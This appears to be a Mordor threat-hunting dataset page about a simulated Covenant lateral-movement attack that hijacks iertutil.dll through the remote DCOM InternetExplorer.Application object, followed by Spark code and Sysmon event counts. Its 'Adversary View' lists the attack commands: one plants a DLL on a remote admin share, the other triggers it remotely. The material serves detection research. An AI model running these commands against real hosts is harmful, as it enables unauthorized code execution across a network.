Covenant Remote DCOM Iertutil DLL Hijacking¶
Metadata¶
Author |
Roberto Rodriguez @Cyb3rWard0g |
Creation Date |
2020/10/09 |
Modification Date |
2020/10/09 |
Tactics |
[‘TA0008’] |
Techniques |
[‘T1021.003’] |
Tags |
[‘SMB CreateRequest’] |
Dataset Description¶
This dataset represents adversaries abusing a DLL hijack vulnerability found in the execution of the DCOM InternetExplorer.Application class for lateral movement.
Datasets Downloads¶
Dataset Type |
Link |
---|---|
Host |
|
Network |
Notebooks¶
Notebooks created by the community leveraging the mordor datasets
Author |
Name |
Link |
---|---|---|
Threat Hunter Playbook |
Remote DCOM IErtUtil DLL Hijack |
https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009183000.html |
Simulation Plan¶
Environment |
Tool Type |
Module |
---|---|---|
Mordor shire |
C2 |
|
Mordor shire |
C2 |
Adversary View¶
Copy /source:"C:\ProgramData\test2.dll" /destination:"\\WORKSTATION6\C$\Program Files\Internet Explorer\iertutil.dll"
PowerShell /powershellcommand:"$i=[activator]::CreateInstance([type]::GetTypeFromProgID('InternetExplorer.Application','172.18.39.6'))"
Explore Mordor Dataset¶
Initialize Analytics Engine¶
from openhunt.mordorutils import *
spark = get_spark()
Download & Process Mordor File¶
mordor_file = "https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/lateral_movement/host/covenant_dcom_iertutil_dll_hijack.zip"
registerMordorSQLTable(spark, mordor_file, "mordorTable")
[+] Processing a Spark DataFrame..
[+] DataFrame Returned !
[+] Temporary SparkSQL View: mordorTable
Get to know your data¶
df = spark.sql(
'''
SELECT Hostname,Channel,EventID, Count(*) as count
FROM mordorTable
GROUP BY Hostname,Channel,EventID
ORDER BY count DESC
'''
)
df.show(truncate=False)
+---------------------------+------------------------------------+-------+-----+
|Hostname |Channel |EventID|count|
+---------------------------+------------------------------------+-------+-----+
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational|10 |11763|
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational|12 |8867 |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational|13 |7166 |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational|7 |4396 |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational|11 |1612 |
|WORKSTATION6.theshire.local|Microsoft-Windows-Sysmon/Operational|7 |306 |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational|23 |234 |
|MORDORDC.theshire.local |Microsoft-Windows-Sysmon/Operational|12 |174 |
|WORKSTATION5.theshire.local|Security |4658 |170 |
|WORKSTATION6.theshire.local|Microsoft-Windows-Sysmon/Operational|12 |167 |
|WORKSTATION6.theshire.local|Security |4674 |161 |
|WORKSTATION6.theshire.local|Security |4658 |149 |
|MORDORDC.theshire.local |Microsoft-Windows-Sysmon/Operational|7 |138 |
|MORDORDC.theshire.local |Security |4703 |131 |
|WORKSTATION6.theshire.local|Microsoft-Windows-Sysmon/Operational|10 |131 |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational|3 |121 |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational|2 |116 |
|MORDORDC.theshire.local |Security |5156 |92 |
|WORKSTATION6.theshire.local|Microsoft-Windows-Sysmon/Operational|13 |92 |
|WORKSTATION5.theshire.local|Security |4656 |90 |
+---------------------------+------------------------------------+-------+-----+
only showing top 20 rows